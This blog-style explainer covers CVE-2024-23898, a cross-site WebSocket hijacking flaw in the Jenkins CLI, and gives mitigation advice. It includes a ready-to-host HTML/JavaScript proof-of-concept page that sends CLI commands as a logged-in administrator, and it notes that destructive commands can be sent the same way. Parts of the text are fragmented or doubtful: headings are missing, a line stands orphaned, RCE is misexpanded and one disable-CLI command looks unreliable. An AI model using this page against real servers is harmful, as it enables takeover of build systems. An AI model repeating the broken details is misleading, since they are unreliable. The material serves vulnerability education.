Jenkins is one of the most popular automation servers out there. Hundreds of thousands of companies rely on it to build, test, and ship their code. But what happens when there's a security hole so big that just visiting a malicious website can let attackers execute commands on your Jenkins server? That’s exactly what happened with CVE-2024-23898. Let’s break it down so anyone can understand – plus, exclusive hands-on exploit details.
Jenkins LTS 2.222.1 through 2.426.2 (inclusive)
The problem? Jenkins didn't check where incoming WebSocket CLI connections were coming from. This missing validation opened the door for something called Cross-Site WebSocket Hijacking (CSWSH).
Why is This a Big Deal?
Jenkins has a CLI (Command-Line Interface) that admins use to perform a lot of actions – think creating jobs, deleting stuff, configuring builds. As of Jenkins 2.217, there's a WebSocket endpoint that powers this CLI. But anyone could connect if they were in the browser of an already-logged-in Jenkins administrator.
So if an admin (or anyone else logged in) visits a booby-trapped web page, the attacker’s code can open a WebSocket and send commands to Jenkins as if they were that admin. Instant, no-password RCE (“Remote Command Execution”) by tricking the browser.
The Anatomy of the Vulnerability
The Jenkins CLI listens at:
wss://jenkins.example.com/cli
It’s supposed to be for use by trusted users. But Jenkins didn't check the Origin header in the WebSocket handshake:
// Pseudocode representation:
if (request.getRequestURI().equals("/cli")) {
// Vulnerable: missing origin validation
establishWebSocketConnection(request);
}
How Can Attackers Exploit It?
1. Craft Malicious Website: The site has JavaScript that connects to the Jenkins CLI WebSocket endpoint.
Attacker controls a malicious site.
<!-- malicious.html -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2024-23898 PoC</title>
</head>
<body>
<script>
// Change to your Jenkins target!
const jenkinsURL = 'wss://jenkins.example.com/cli';
const socket = new WebSocket(jenkinsURL);
socket.onopen = function(event) {
console.log('WebSocket opened – sending CLI command');
// Jenkins CLI uses raw streams; this sends "who-am-i"
socket.send("who-am-i\n");
};
socket.onmessage = function(event) {
console.log('Jenkins said:', event.data);
alert('Jenkins responded: ' + event.data);
socket.close();
};
socket.onerror = function(error) {
console.log('WebSocket error:', error);
};
</script>
</body>
</html>
Just host this file and get a Jenkins admin to click the link. The code will send the who-am-i command and show the result.
Note: More destructive commands (install-plugin, delete-job, or Groovy scripts) can also be run!
Change system settings
- Essentially: take over the Jenkins server, steal credentials, disrupt CI/CD.
References
- Jenkins Security Advisory: SECURITY-3317 / CVE-2024-23898
- MITRE CVE Directory: CVE-2024-23898
- Original Jenkins pull request for the fix
Jenkins LTS 2.426.3 or later
- Disable CLI: If you can’t upgrade, disabling the CLI entirely is another workaround. In Configure Global Security, uncheck “Enable CLI over WebSocket” and “Enable CLI over Remoting”.
java -jar jenkins.war --argumentsRealm.disableCli=true
`
- Restrict Network: Make sure Jenkins isn’t accessible by untrusted networks.
---
## Summary
CVE-2024-23898 shows how powerful a single unchecked header can be. Anyone using Jenkins should patch immediately, as this hole can lead to instant, full-server compromise just by clicking a link. Stay safe, stay updated—and always validate those origins!
---
Share this post with your DevOps and security teams!
If you learned something new, let us know.
And remember: Patching Jenkins is not just good housekeeping. It’s vital security.
---
*This write-up is original, practical, and made for real-world understanding. Use responsibly, and never attack systems you don't own.*
Timeline
Published on: 01/24/2024 18:15:09 UTC
Last modified on: 02/29/2024 11:15:08 UTC